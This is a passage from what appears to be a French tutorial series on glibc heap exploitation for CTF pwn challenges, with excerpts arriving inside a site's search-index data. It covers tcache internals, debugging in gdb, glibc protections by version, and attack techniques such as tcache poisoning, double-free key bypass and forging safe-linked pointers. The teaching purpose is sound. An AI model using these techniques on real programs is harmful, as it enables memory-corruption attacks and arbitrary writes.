d’exécution afin d’éviter des accès concurrents. Cela se faisait notamment via un mécanisme de verrouillage de l’arène.Désormais, avec le système de tcache, l’utilisation du tas dans un programme multithreadé est optimisée. Pas de panique, nous n’allons pas découvrir comment est gérée la heap dans le cas d’un programme multithreadé. Comme cela a été précédemment souligné, la majorité des challenges de heap en pwn n’utilise qu’un seul fil d’exécution.Gestion des blocs libresTaille des blocs gérés Les tailles des blocs indiquées ci-dessous tiennent compte de l’alignement ainsi que de l’espace réservé aux métadonnées. Elles ne correspondent donc pas à la quantité réelle de données que le programme peut exploiter dans un bloc retourné par malloc().Le tcache gère des blocs de petite et moyenne taille :   x32 i386 x86_64 Taille min du bloc 0x10 0x10 0x20 Taille max du bloc 0x208 0x400 0x410 x32 est une ABI (Application Binary Interface) pour les processeurs amd64/x86_64 utilisant des entiers, des long et notamment des pointeurs en 32 bits, visant à combiner une utilisation réduite de la mémoire tout en utilisant les avantages des processeurs 64 bits (taille des registres …). En d’autres termes, x32 permet de compiler un programme en tirant parti de certaines capacités des systèmes 64 bits, tout en maintenant une empreinte mémoire comparable à celle d’un binaire conçu pour une architecture 32 bits. Nous avons spécifié les différentes tailles pour x32 car il s’agit d’une occasion d’en parler même si vous risquez de rencontrer seulement des programmes i386 (32 bits) et x86_64 (64 bits). Personnellement j’ai mis du temps à comprendre la différence entre x32 et i386 car je pensais que les programmes compilés avec l’ABI x32 étaient également des programmes 32 bits alors que non 🤯. Par la suite, lorsque l’on parlera de 32 bits nous ferons référence à l’architecture i386 tandis que 64 bits désignera x86_64.Lorsque l’on parlera des fastbins, vous constaterez que certains blocs libérés peuvent à la fois être stockés dans le tcache et dans la fastbin adéquate en raison de la petite taille du bloc. Cependant, c’est le tcache qui prend en priorité la gestion de ces blocs. Si le tcache atteint sa capacité maximale pour cette taille de bloc, la fastbin prend alors le relais en stockant le bloc concerné.Organisation des corbeillesQuand on parle du tcache, il ne faut pas s’imaginer qu’il s’agit d’une seule et unique corbeille qui traite, par exemple, tous les blocs de 0x10 à 0x400 octets. Il s’agit plus précisément d’un type de corbeille qui contient des corbeilles de différentes tailles.Le nombre de corbeilles est déterminé par la constante TCACHE_MAX_BINS définie dans le code source de la glibc . Généralement cette constante vaut 64. Il y a au total 64 bins, chacune pouvant contenir 7 (valeur de la constante TCACHE_FILL_COUNT) blocs libérés.Donc pour récapituler : le tcache est un type de corbeilles qui gèrent, en gros, les blocs de 0x10 à 0x410 octets ; le tcache dispose de plusieurs corbeilles ; chacune de ces corbeilles peut gérer jusqu’à 7 blocs.Concrètement, chaque corbeille du tcache prend en charge des blocs d’une taille bien précise : Index de la corbeille Taille des blocs (32 bits) Taille des blocs(64 bits) Capacité maximale de blocs libres 0 0x10 0x20 7 1 0x20 0x30 7 n n*0x10 + 0x10 n*0x10 + 0x20 7 62 0x3f0 0x400 7 63 0x400 0x410 7 La principale différence entre les corbeilles du tcache en 32 et 64 bits est liée à la taille des blocs de la première corbeille. EtaÉtantnt donné que la taille minimum d’un bloc en 32 bits est 0x10 et que celle en 64 bits est 0x20, c’est logique.Considérons les allocations et libérations suivantes dans un programme 64 bits :void *a = malloc(1);void *b = malloc(1);void *c = malloc(1);void *d = malloc(1);void *e = malloc(1);void *f = malloc(1);void *g = malloc(1);free(a);free(b);free(c);free(d);free(e);free(f);free(g);Voici ce qui se passe dans le tas et le tcache, au fur et à mesure que free est appelé : état initial : étant donné qu’il s’agit d’un programme de 64 bits, le plus petit bloc qu’il est possible d’allouer est de 0x20 octets. free(0x500000000000) : le premier bloc A de 0x20 octets est libéré. Comme il s’agit d’une taille prise en charge par le tcache, plus précisément la corbeille d’index 0, il y est inséré ; free(0x500000000020) : le deuxième bloc B est libéré. Pour les mêmes raisons, il est inséré dans le tcache n°0. Les corbeilles du tcache sont des listes chaînées de type LIFO, c’est-à-dire, dernier arrivé, premier servi. C’est pourquoi le premier bloc du tcache n°0 n’est plus A mais B ; free(0x500000000040) ... free(0x5000000000e0) : les autres blocs sont libérés. Ils sont insérés les uns à la suite des autres en gardant toujours en tête que c’est le bloc qui est inséré en dernier qui pointe vers le bloc qui était là avant lui, et non l’inverse.Quelques remarques : comme il s’agit de petits blocs et qu’il n’y a pas de consolidations de blocs au sein du tcache, les blocs ne sont ni fusionnés entre eux ni avec le bloc du sommet. une fois le dernier bloc G libéré, le tcache n°0 devient rempli et ne peut plus accepter de nouveau bloc libre. Ainsi, si un bloc de 0x20 octets venait à être libéré, il ira dans une des corbeilles de la fastbin dont on découvrira le fonctionnement un peu plus loin.Encore une fois, les blocs ne sont pas déplacés du tas vers leur corbeille. Qu’un bloc soit alloué ou libéré (et pris en charge par une bin), il reste sur le tas. Seules ses métadonnées changent afin de pointer vers le bloc précédent.Ainsi, une modélisation plus réaliste de ce qui se passe dans le tas serait ceci :Le tcache, comme n’importe quelle autre corbeille, ne contient pas physiquement les blocs. Les blocs libérés restent dans le tas et, ici, leur corbeille correspondante pointe vers l’un des éléments en l’occurrence le dernier. Sachant que le tcache fonctionne sous forme de liste chaînée, en ayant le premier élément, il est possible de récupérer les autres. Comment sont chaînés les blocs libres ? En utilisant les métadonnées ?Oui, c’est ça. Plus précisément, c’est le champ fd qui est utilisé.Protections selon les versionsAvant d’approfondir notre étude du tcache, il est nécessaire de distinguer quatre cas en fonction de la version de la libc utilisée. En effet, après l’introduction du tcache dans la version 2.26, des mécanismes de sécurité supplémentaires ont été introduits dans les versions 2.29 et 2.32 : 2.29 : ajout d’une protection contre les doubles appels à free (double free) ; 2.32 : mise en place du safe linking, une mesure visant à renforcer la sécurité des listes chaînées ; 2.34 : aléatoirisation du champ key.Nous détaillerons un à un ces mécanismes de sécurité au moment opportun. En fonction des protections mises en place, les métadonnées utilisées par le tcache ne sont pas les mêmes, c’est pourquoi nous allons voir au fil des versions de la glibc la structure d’un bloc libre du tcache. Les différentes protections explicitées ci-dessous ne sont pas à apprendre par cœur. Le but global est de savoir comment fonctionne le tcache ainsi que les blocs libres qu’il gère. Beaucoup de détails sont donnés afin que vous sachiez où trouver une information en particulier le jour où vous en aurez besoin. Par exemple, si vous analysez un programme utilisant la glibc 2.34, il est important d’avoir une idée globale des protections mises en place dans les versions précédentes.Version 2.26 - Introduction du tcachePour rappel, le tcache a été introduit lors de la version 2.26, inutile de remonter plus loin dans le temps ⏳. Prenons notre loupe 🔎 et analysons de plus près le contenu des blocs dans le tas : Faites-moi confiance pour cet exemple, nous verrons un peu plus bas ce que cela donne enfin dans gdb . Encore un peu de patience 😉.Nous remarquons que les champs prev_size ne sont pas utilisés. Logique, nous avons affaire à des blocs de petite taille. Ainsi, le bit PREV_INUSE des différents champs size vaut toujours 1.Néanmoins, nous voyons clairement que le champ fd de chacun des 7 blocs libérés est utilisé. Chaque champ fd pointe vers le champ fd du bloc suivant, sauf le dernier bloc qui n’a pas de successeur. Chaque bloc du tcache ne pointe pas vers l’adresse du bloc suivant mais vers l’adresse du champ fd du bloc suivant. Ce détail a son importance car dans d’autres corbeilles, les blocs d’une même corbeille pointent généralement directement vers l’adresse du bloc suivant. Sachez faire la différence 🧐 !⚒️ Débogage du tas Alors dans gdb ça donne quoi 🙄 ?Chose promise, chose due. Avant de mettre directement les mains dans le cambouis, il est préférable de souligner quelques prérequis : Quelle version de gdb choisir : la version que nous utiliserons pour déboguer les programmes / challenges utilisant le tas sera la version améliorée de gdb-gef, que l’on nommera gdb-gef++. Il s’agit d’un fork de gdb-gef avec plein de nouvelles fonctionnalités. Un chapitre, en annexe, est dédié à l’installation des diverses versions de gdb afin que vous puissiez choisir celle qui vous convient le mieux. Commandes gdb liées à la heap : nous allons expliciter petit à petit les commandes utilisées. N’hésitez pas à consulter ce chapitre en annexe pour avoir une liste des commandes de base. Comment compiler avec libc en particulier : Un long chapitre est dédié à la compilation de programme en utilisant des versions spécifiques de la libc. Ce chapitre contient différentes méthodes, cela peut être long de vouloir toutes les tester. Quoi qu’il en soit, si une méthode fonctionne et vous permet de compiler votre programme avec une libc en particulier, vous pouvez poursuivre la lecture de ce chapitre.C’est bon, tous les prérequis sont validés ? C’est parti !Voici le programme dont nous allons analyser le fonctionnement :#include &lt;stdlib.h&gt;int main(){ void *a = malloc(1); void *b = malloc(1); void *c = malloc(1); void *d = malloc(1); void *e = malloc(1); void *f = malloc(1); void *g = malloc(1); free(a); free(b); free(c); free(d); free(e); free(f); free(g); return 0;}Voici la configuration qui sera utilisée : version de la libc : la version exacte de la libc utilisée est 2.27-3ubuntu1_amd64 ; débogueur : gdb-gef++ (fork de gdb-gef par bata24) ; architecture cible : 64 bits.Nous compilons le programme avec la commande suivante, sans oublier de créer le lien symbolique libc.so.6 :gcc -g main.c -o exe \\ -Wl,--dynamic-linker=./ld-2.27.so \\ -L. -Wl,-rpath=. -l:./libc-2.27.soln -s libc-2.27.so libc.so.6 L’option -g ajoute des informations de débogage supplémentaires qui facilitent l’analyse avec gdb. Cela permet d’avoir le code source du programme intégré dans gdb.Un conteneur Docker est aussi disponible si vous ne souhaitez pas le compiler vous-mêmes : ⬇️ Téléchargement : pwn-tcache-exemple-1.zip 🔎 SHA256 &amp; Analyse Virus Total : 290b214b49eb23ecebcb7391b33c137aeb4d7060df7cfcb6a0bc60d9826fdd83 ⚙️ Construction et lancement du conteneur :docker build -t pwn-tcache-exemple-1 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-tcache-exemple-1 Seul pwndbg est installé dans le conteneur. Si vous souhaitez utiliser gdb-gef++, vous pouvez l’installer sur l’hôte et le déboguer à distance avec gdbserver.Ouvrons le programme dans gdb : gdb-gef++ ./exe. Astuce gdb : il est possible d’utiliser la commande set listsize unlimited afin de pouvoir afficher toute la fonction main d’un coup avec la commande list main.Mettons un point d’arrêt à la ligne 15, avant que le premier free soit appelé :Une fois arrivés au point d’arrêt, affichons les différents blocs présents sur le tas avec la commande : heap chunks.Ça change des schémas 😅. Bon, utilisons une commande qui permet d’afficher le tas de manière plus agréable avec visual-heap -d -n :Pas mal hein 😎 ?On retrouve les 7 blocs de 0x20 octets alloués sur le tas. Vous remarquerez que le bloc du sommet a une taille initiale de 0x21000, ce qui est exactement la taille de la heap que vous pouvez lire en utilisant la commande vmmap. C’est quoi ce premier bloc de 0x250 ? Je ne l’ai pas alloué et je ne me rappelle pas l’avoir vu dans les précédents schémas 🤔.Il s’agit de la structure tcache_perthread_struct qui contient les informations concernant les différentes corbeilles du tcache :typedef struct tcache_perthread_struct{ char counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS];} tcache_perthread_struct; counts : contient le nombre de blocs libres présents dans chacune des 64 (TCACHE_MAX_BINS) corbeilles du tcache ; entries : contient un pointeur vers le premier bloc de chacune des corbeilles.Cette structure est initialisée puis allouée dans la fonction tcache_init, avant l’appel de main. Elle est propre à chaque fil d’exécution. Contrairement aux autres corbeilles (fastbins , unsorted bin etc.) les informations du tcache ne sont pas stockées dans l’arène. La taille de cette structure peut varier en fonction de la libc. Par exemple, dans la version 2.27 sa taille vaut 0x240 alors que dans la version 2.40 sa taille vaut 0x280. Il est parfois possible de trouver, en plus du bloc de la structure tcache_perthread_struct, deux autres blocs qui correspondent à deux buffers utilisés respectivement par stdout et stdin.Libération des blocsEn libérant un des blocs précédemment alloués, cela va l’insérer dans le tcache. Dire qu’un bloc est inséré “dans le tcache” est un abus de langage. Plus précisément, il est placé dans la corbeille du tcache correspondant à sa taille, ici celle qui gère les blocs de 0x20 octets. La formulation complète étant plus lourde, nous utiliserons souvent simplement le terme tcache. Selon le contexte, il désignera soit le type de corbeille dans son ensemble, soit une corbeille précise du tcache.Bon, mettons un point d’arrêt au deuxième free(b) afin que le premier free(a) soit appelé :Le premier bloc est bien dans le tcache et ne pointe vers aucun autre bloc vu qu’il est, pour l’instant, tout seul. Astuce gdb : Il est possible de voir le contenu des différentes corbeilles du tcache avec la commande : tcache.Nous constatons d’ailleurs que la structure tcache_perthread_struct (premier bloc du tas) contient désormais les valeurs suivantes : counts[0] = 1 ; entries[0] = 0x0000555555559260 (champ fd du premier bloc libéré).Bien. Après avoir observé ce qui se passe après la libération du premier bloc, voyons le résultat final lorsque tous les blocs sont libérés. Pour cela, mettons un point d’arrêt au return 0; du main et continuons l’exécution du programme :Normalement, vous ne devriez pas avoir trop de mal à comprendre ce qui s’est passé si vous avez bien saisi les précédents schémas : chaque champ fd d’un bloc pointe vers le champ fd du bloc suivant ; le premier bloc inséré devient le dernier bloc de la liste chaînée.La structure tcache_perthread_struct a été également mise à jour avec les valeurs suivantes : counts[0] = 7 ; entries[0] = 0x0000555555559320 (champ fd du premier bloc de la liste).Les corbeilles du tcache étant des listes LIFO, lorsqu’un bloc de taille 0x20 sera alloué, ce sera le bloc n°1/7 du tcache qui sera réutilisé en premier. Si une autre allocation de 0x20 octets est demandée, ce sera alors le bloc n°2/7 et ainsi de suite. Bien que le tcache ait été introduit lors de la version 2.26, calloc n’utilise jamais le tcache jusqu’à la version 2.41 où cela a été corrigé après que plusieurs personnes se soient plaintes. Ainsi, malloc permettait de réutiliser des blocs libres du tcache alors que calloc faisait comme si le tcache n’existait pas 🫣.📋 SynthèseLe tcache, introduit avec la glibc 2.26, est un cache de blocs libres propre à chaque thread, conçu pour accélérer les allocations et libérations mémoire.À retenir : il gère les petits et moyens blocs ; il est composé de 64 corbeilles, chacune associée à une taille précise ; chaque corbeille peut contenir jusqu’à 7 blocs libres ; les blocs y sont réutilisés selon un ordre LIFO (dernier libéré, premier réutilisé) ; les blocs stockés dans le tcache ne sont ni fusionnés entre eux, ni consolidés avec le sommet du tas ; si une corbeille est pleine, les blocs supplémentaires sont généralement redirigés vers les fastbins." }, { "title": "Partie 5 - Le tcache - allocations et libérations internes (2/4)", "url": "/posts/exploitation_de_la_heap_partie_5/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-04-04 08:00:00 -0200", "snippet": "Le tcache : allocations et libérations internes (2/4)Protections selon les versions - suite Afin de pouvoir retrouver plus facilement la vérification ou le mécanisme de protection qui vous pose pr...", "content": "Le tcache : allocations et libérations internes (2/4)Protections selon les versions - suite Afin de pouvoir retrouver plus facilement la vérification ou le mécanisme de protection qui vous pose problème, les principaux messages d’erreur associés à ces protections sont indiqués ci-dessous. Un petit coup de Ctrl+F et le tour est joué 😉. 2.29 : protection contre les doubles free ; 2.32 : implémentation du safe linking ; 2.34 : aléatoirisation du champ key des métadonnées.Version 2.29 - Protection contre le double free❌ Message d’erreur associé : free(): double free detected in tcache 2.Si vous comparez la structure tcache_entry dans la version 2.28 et la version 2.29 de la glibc, vous remarquerez la présence d’un nouveau membre key :typedef struct tcache_entry{ struct tcache_entry *next; /* This field exists to detect double frees. */ struct tcache_perthread_struct *key; // &lt;--} tcache_entry;Ce nouveau champ a pour objectif de détecter les cas de double free : appeler free sur un bloc qui est déjà libre. Cette primitive est très utilisée pour exploiter le tas.next correspond au champ fd, ça on le sait, tandis que key correspond au champ bk du bloc libéré. Comment ce champ permet de détecter le double free ?C’est vraiment très simple. Lorsqu’un bloc est libéré pour la première fois, le champ key pointe vers la structure tcache_perthread_struct, cette fameuse structure stockée dans le tout premier bloc alloué sur le tas.Dans le cas où ce même bloc est libéré une seconde fois, la libc va effectuer de nouveau la vérification suivante :// `tcache` pointe vers la structure `tcache_perthread_struct` if (__glibc_unlikely (e-&gt;key == tcache)) {\t// (...)\tmalloc_printerr (\"free(): double free detected in tcache 2\");\t// (...) } __glibc_unlikely est une macro utilisée dans glibc pour indiquer au compilateur qu’une condition est peu probable, optimisant ainsi la prédiction des branches et les performances.Si le membre key pointe déjà vers tcache_perthread_struct, alors il s’agit d’un cas de double free : l’exécution du programme est stoppée.Dans le cas où l’on souhaite exploiter un double free dans le tcache, il suffit de modifier un octet de key afin que la condition (e-&gt;key == tcache) ne soit pas satisfaite, par exemple via un buffer overflow dans le tas. Mais la protection elle est éclatée en fait 😆.Effectivement, c’pas ouf 😅.Globalement, cela ne change pas grand-chose dans le fonctionnement du tcache si ce n’est que, depuis la version 2.29, le champ bk des blocs libérés est utilisé. En reprenant le précédent code, voici la tête qu’ont les blocs une fois tous libérés :Le champ bk des différents blocs libres du tcache est utilisé en tant que key et pointent bien vers le bloc tcache_perthread_struct.Version 2.32 - Safe Linking❌ Exemples de message d’erreur associé : malloc(): unaligned tcache chunk detected segmentation faultDepuis la version 2.32 de la glibc, une mesure de sécurité a été mise en place afin de limiter certaines attaques basées sur le tcache et les fastbins, il s’agit du safe linking (~liaison sécurisée 🥖).Je vous propose de commencer par un cas pratico-pratique avant de plonger dans l’aspect théorique des choses.Pour cela, utilisons le même code que celui des précédents chapitres :#include &lt;stdlib.h&gt;int main(){ void *a = malloc(1); void *b = malloc(1); void *c = malloc(1); void *d = malloc(1); void *e = malloc(1); void *f = malloc(1); void *g = malloc(1); free(a); free(b); free(c); free(d); free(e); free(f); free(g); return 0;}Cette fois-ci, nous allons compiler le programme avec la version 2.32-0ubuntu3.2_amd64 de la libc. Les commandes pour compiler et générer le lien symbolique suivent la même logique que d’habitude :gcc -g main.c -o tcache_exemple_2 \\ -Wl,--dynamic-linker=./ld-2.32.so \\ -L. -Wl,-rpath=. -l:./libc-2.32.soln -s libc-2.32.so libc.so.6Pour le conteneur Docker : ⬇️ Téléchargement : pwn-tcache-exemple-2.zip 🔎 SHA256 &amp; Analyse Virus Total : 0b44ab8dcc3d7ad694bcd376df151a843cc78a5e5f32e74da159fd129808f5b5 ⚙️ Construction et lancement du conteneur :docker build -t pwn-tcache-exemple-2 .docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-tcache-exemple-2Ouvrons ensuite l’exécutable dans gdb et mettons un point d’arrêt sur la 3ème libération free(c) afin que deux blocs soient libérés :Nous remarquons essentiellement deux choses : le champ bk (à droite de fd) est utilisé, ce qui est normal vu que la clé key a été introduite lors de la version 2.29 ; les champs fd des deux premiers blocs libérés sont … bizarres, ils ne pointent pas vers le champ fd du bloc suivant dans le tcache 🤔.Quant au champ key, vous devriez savoir ce à quoi il correspond si vous avez bien lu la précédente section. L’objet de cette nouvelle section est le champ fd.⚙️ FonctionnementPour comprendre pourquoi le champ fd n’est plus une adresse, comparons le contenu de la fonction tcache_put dans la version 2.31 et 2.32 , notamment les lignes suivantes :// 2.31 :e-&gt;next = tcache-&gt;entries[tc_idx];// 2.32 :e-&gt;next = PROTECT_PTR (&amp;e-&gt;next, tcache-&gt;entries[tc_idx]);La voilà la différence ! Au lieu de directement mettre dans le champ fd (alias next ici) l’adresse du prochain bloc libre de la liste du tcache, c’est le résultat de PROTECT_PTR(...) qui est inséré.PROTECT_PTR est une macro dont le rôle est de chiffrer, en partie, l’adresse à saisir dans le champ fd. N’ayez crainte, le fameux “chiffrement” dont il est question n’est qu’un simple XOR avec un décalage de bits. Voici la macro en entier ainsi que la macro REVEAL_PTR :#define PROTECT_PTR(pos, ptr) \\ ((__typeof (ptr)) ((((size_t) pos) &gt;&gt; 12) ^ ((size_t) ptr)))#define REVEAL_PTR(ptr) PROTECT_PTR (&amp;ptr, ptr)Cela a l’air assez compliqué écrit comme ça, mais vous allez voir que cela est assez simple une fois schématisé. Le safe linking consiste donc à modifier le pointeur contenu dans fd. Cette protection permet d’éviter de pouvoir modifier facilement l’adresse contenue dans fd dans le cas d’une vulnérabilité use-after-free (qui consiste à continuer à utiliser un bloc libéré, censé être inaccessible pour l’utilisateur).Voici comment se déroule le chiffrement du contenu de fd :L’utilité de décaler l’adresse de fd (&amp;fd) de 12 bits est de profiter des octets aléatoires en raison de l’ASLR. Cela permet d’aléatoiriser fd. Par exemple, dans le cas où un attaquant n’a pas réussi à avoir de leak, il est possible de modifier seulement l’octet de poids faible sans avoir à deviner le contenu total de fd : 0x5123456780[10] -&gt; 0x5123456780[90].En revanche, lorsque le safe linking est en place, il n’est plus possible de seulement modifier l’octet de poids faible. Il est donc généralement nécessaire d’avoir une fuite d’adresse du tas avant d’aller plus loin dans l’exploitation.Pour déchiffrer fd' et récupérer l’adresse initialement pointée, il suffit d’intervertir fd avec fd' dans le XOR :Vous l’aurez compris, pour contourner cette protection il suffit de faire fuiter une adresse de la heap afin de pouvoir récupérer l’adresse de fd, et donc la clé XOR utilisée.Version 2.34 - Aléatoirisation de key❌ Message d’erreur associé : free(): double free detected in tcache 2.Afin de renforcer davantage la protection contre les doubles free, le membre key de la structure tcache_entry est désormais totalement aléatoire. La variable globale tcache_key est introduite, il s’agit d’une valeur de 64 ou 32 bits, selon l’architecture. tcache_key est initialisé avec 32 ou 64 bits aléatoires dans la fonction tcache_key_initialize :static void tcache_key_initialize (void){ if (__getrandom (&amp;tcache_key, sizeof(tcache_key), GRND_NONBLOCK) != sizeof (tcache_key)) { tcache_key = random_bits ();#if __WORDSIZE == 64 tcache_key = (tcache_key &lt;&lt; 32) | random_bits ();#endif }}Ensuite, lorsqu’un bloc devra être inséré dans le tcache, son membre key prendra la valeur de tcache_key dans tcache_put : e-&gt;key = tcache_key;. Ainsi, tous les champs bk de blocs introduits dans le tcache auront une valeur aléatoire, certes, mais la même pour tous les blocs. Si la valeur est totalement aléatoire, il faut faire comment pour pouvoir réaliser des double free désormais ?😣Je vous rassure, cela ne change absolument rien à la méthode que l’on utilisait déjà depuis la version 2.29 : changer un seul octet de key afin que la condition e-&gt;key == tcache_key ne soit pas satisfaite ici :if (__glibc_unlikely (e-&gt;key == tcache_key)) {\ttcache_entry *tmp;\tsize_t cnt = 0;\tLIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);\tfor (tmp = tcache-&gt;entries[tc_idx];\t tmp;\t tmp = REVEAL_PTR (tmp-&gt;next), ++cnt)\t {\tif (cnt &gt;= mp_.tcache_count)\t malloc_printerr (\"free(): too many chunks detected in tcache\");\tif (__glibc_unlikely (!aligned_OK (tmp)))\t malloc_printerr (\"free(): unaligned chunk detected in tcache 2\");\tif (tmp == e)\t malloc_printerr (\"free(): double free detected in tcache 2\");\t/* If we get here, it was a coincidence. We've wasted a\t few cycles, but don't abort. */\t } } Ah mais c’est juste du bluff 😏.Parfois, jeter un œil au code source peut être très utile 😉.Structure et métadonnées d’un bloc du tcache Les schémas utilisés ci-dessous représentent des blocs de 0x20 mais ce n’est évidemment pas l’unique taille de blocs du tcache.Pour résumer ce qui a été précédemment dit, voici la forme d’un bloc du tcache selon les différentes versions de la glibc :À partir de la version 2.26Avec : fd : pointeur vers le prochain bloc de la corbeille du tcache. Pour ce qui est des blocs libres du tcache, fd pointe vers le champ fd du prochain bloc et non vers le début du bloc (prev_size).À partir de la version 2.29Avec : key : pointeur vers la structure tcache_perthread_struct allouée sur le tas. key pointe vers la zone de données utilisables du bloc alloué pour le tcache_perthread_struct et non vers les métadonnées du bloc (prev_size).À partir de la version 2.32Avec : fd' : résultat issu de la macro PROTECT_PTR appliquée à la valeur initial de fd ainsi que son adresse &amp;fd.À partir de la version 2.34Avec : key : valeur générée aléatoirement." }, { "title": "Partie 6 - Exploiter les vulnérabilités du tcache - primitives et scénarios (3/4)", "url": "/posts/exploitation_de_la_heap_partie_6/", "categories": "Pwn, Exploitation de la heap", "tags": "x86, pwn, linux", "date": "2026-04-03 08:00:00 -0200", "snippet": "Exploiter les vulnérabilités du tcache : primitives et scénarios (3/4)Ce serait dommage d’avoir longuement parlé du tcache sans voir, au final, en quoi il peut être utile dans l’exploitation d’un p...", "content": "Exploiter les vulnérabilités du tcache : primitives et scénarios (3/4)Ce serait dommage d’avoir longuement parlé du tcache sans voir, au final, en quoi il peut être utile dans l’exploitation d’un programme. Après avoir parlé longuement des protections en place, intéressons-nous à quelques vulnérabilités classiques dans le tcache : tcache poisoning / tcache attack ; tcache dup ; tcache leak.De la même manière que les protections et fonctionnalités du tcache évoluent selon la version de la glibc, les vulnérabilités associées varient elles aussi ou, du moins, ne s’exploitent pas toujours de la même façon.1️⃣ tcache poisoning / tcache attackRedirection d’une allocation en modifiant le tcache.📋 Exploitabilité selon les versions Trois couleurs seront utilisées pour caractériser l’exploitabilité d’une vulnérabilité ou d’une attaque : 🟢 : exploitable 🟡 : exploitable sous certaines conditions 🔴 : non exploitable Version Exploitabilité Commentaire ≤ 2.25 🔴 Le tcache n’est pas utilisé. ≤ 2.29 🟢 Exploitable. ≥ 2.32 🟡 La vulnérabilité est exploitable mais nécessite un leak. Je n’ai pas testé toutes les versions, mais il me paraît raisonnable de supposer que si une exploitation est possible sur deux versions, elle le sera également sur toutes les versions intermédiaires.⚡ RésuméCette attaque, très connue dans le tcache, consiste à modifier le champ fd d’un bloc libre dans une des corbeilles du tcache avec une adresse arbitraire. Cela impliquera qu’en allouant un bloc d’une certaine taille, nous aurons la certitude que ce dernier sera alloué à l’adresse arbitraire précédemment utilisée.🔥 ConséquencesEn exploitant cette vulnérabilité, il est possible d’obtenir : une écriture à une adresse arbitraire.🔧 Primitives d’exploitationCette vulnérabilité peut notamment être exploitée grâce à : use-after-free : en ayant la possibilité de modifier directement un bloc libre, il est possible de modifier fd ; buffer overflow dans le tas : s’il est possible de réaliser un dépassement de mémoire depuis un des blocs situés avant le bloc cible, alors fd peut être modifié si le dépassement est assez large ; écriture arbitraire : en ayant une primitive d’écriture arbitraire et en connaissant l’adresse du bloc cible, fd peut être modifié.📃 Détails de l’exploitationÉtant donné qu’en fonction de la version de la glibc, la structure d’un bloc du tcache et les protections mises en place ne sont pas les mêmes, il va falloir considérer la manière d’exploiter cette vulnérabilité en fonction des différentes versions.Par souci de concision, nous n’allons pas détailler l’exploitation de la vulnérabilité pour chaque version. Il suffit de comprendre comment celle-ci fonctionne et l’adapter en fonction du contexte.Plaçons-nous dans le cadre d’un programme utilisant la version 2.29 de la libc. Pour rappel, un bloc libre du tcache a cette forme :FonctionnementConsidérons le programme suivant :#include &lt;stdlib.h&gt; #include &lt;string.h&gt; int main() { void *a = malloc(1); void *b = malloc(1); free(a); free(b); // EXPLOITATION ICI : Utilisation d'une primitive d'exploitation // pour modifier `fd` malloc(1); char *cible = (char *)malloc(1); strcpy(cible,\"ABCDEFGH\"); // Ecriture arbitraire return 0; }Notre objectif va être d’écrire \"ABCDEFGH\" à une adresse arbitraire (par exemple 0x500000000950). Déroulons les différentes étapes : free(a); free(b); : les deux premiers blocs alloués sont libérés et vont dans la corbeille adaptée dans le tcache. En utilisant une primitive d’exploitation, nous modifions fd pour le faire pointer vers l’adresse vers laquelle nous souhaitons avoir une écriture arbitraire, par exemple 0x500000000950. Étant donné qu’il s’agit d’un programme de test, vous pouvez évidemment modifier à la main, dans gdb, la valeur de fd. malloc(1); : le premier bloc disponible dans le tache est alloué 🔵. Jusque-là, pas de soucis. char *cible = (char *)malloc(1); : étant donné que le champ fd du précédent bloc a été modifié, désormais le premier bloc du tcache pointé par tcache_perthread_struct est 0x500000000950. C’est donc celui-ci qui est alloué 🔵 et retourné par malloc. strcpy(cible,\"ABCDEFGH\"); : nous pouvons réaliser alors une écriture arbitraire ✏️.L’avantage de cette méthode, c’est qu’elle permet d’utiliser directement l’adresse ciblée, sans avoir à faire de gymnastique intellectuelle avec les métadonnées du bloc alloué pour déterminer s’il faut décaler l’adresse de 8 ou 0x10 octets. Le champ size du bloc “cible” n’est pas modifié. Cela peut être utile lorsque l’on souhaite écrire dans une zone bien précise sans modifier les données autour (exemple : pointeurs de fonctions placés les uns à côté des autres). Autre remarque : le champ key est mis à zéro. Il s’agit sûrement d’une protection afin d’éviter qu’il fuite une fois l’allocation réalisée. Ces remarques sont valables au moins jusque la version 2.35, je ne sais pas si c’est toujours le cas pour les versions plus récentes.Vous remarquerez que nous utilisons deux blocs libres du tcache pour réaliser cette attaque. En effet, si vous vous rappelez, la structure tcache_perthread_struct contient, pour chaque corbeille du tcache, le nombre de blocs présents via le tableau count.Si nous avions utilisé seulement un bloc dont on aurait modifié le champ fd, une fois libéré count[0] vaudrait 0 auquel cas le programme considérera qu’il n’y a plus de bloc libre dans le tcache. De ce fait, lors d’une nouvelle allocation mémoire, malloc n’ira pas piocher dans le tcache.Cet obstacle peut être contourné en utilisant deux blocs afin que count[0] reste strictement positif.🚧 Obstacles et contraintesASLRLorsque l’ASLR est présente, une partie de l’adresse contenue dans fd sera aléatoire.💡ContournementDeux cas sont possibles en fonction de la localisation de l’adresse cible : dans le tas : l’adresse cible aura, par conséquent, les mêmes octets de poids fort aléatoires que l’adresse initialement présente dans fd. Il suffit seulement de modifier les octets de poids faible, avec un peu de force brute s’il y a besoin de modifier plus que l’octet de poids faible ; en dehors du tas : une fuite sera nécessaire pour connaître l’adresse cible, connaître la valeur initiale de fd ne sera, en revanche, pas nécessaire.Safe LinkingLe safe linking en lui-même ne pose pas réellement problème. Dans le cas où l’ASLR est désactivée il est facilement possible de le contourner en connaissant à l’avance l’adresse du champ fd (l’adresse du champ, pas son contenu).💡ContournementCette protection est très souvent conjuguée avec l’ASLR. Auquel cas il sera nécessaire de faire fuiter une adresse du tas afin de pouvoir connaître l’adresse du champ fd à modifier.Une fois que l’adresse du champ fd est connue, il suffit de modifier la valeur de fd via le calcul suivant :hex(addr_cible ^ (addr_fd &gt;&gt; 12))# addr_fd : adresse du champ fd à modifier (précédent exemple: 0x500000000030 )# addr_cible : adresse arbitraire où l'on souhaite écrire (précédent exemple: 0x500000000950 )2️⃣ tcache dupDuplication d’un bloc libre dans le tcache.📋 Exploitabilité selon les versions Version Exploitabilité Commentaire ≤ 2.25 🔴 Le tcache n’est pas utilisé. ≤ 2.28 🟢 Exploitable. ≥ 2.29 🟡 La vulnérabilité est exploitable à condition de modifier le champ key. ⚡ RésuméCette attaque consiste à libérer deux fois un bloc qui sera géré par le tcache. Cette attaque présente plusieurs utilités dont l’une est de pouvoir allouer deux blocs de même taille à la même adresse.Cela 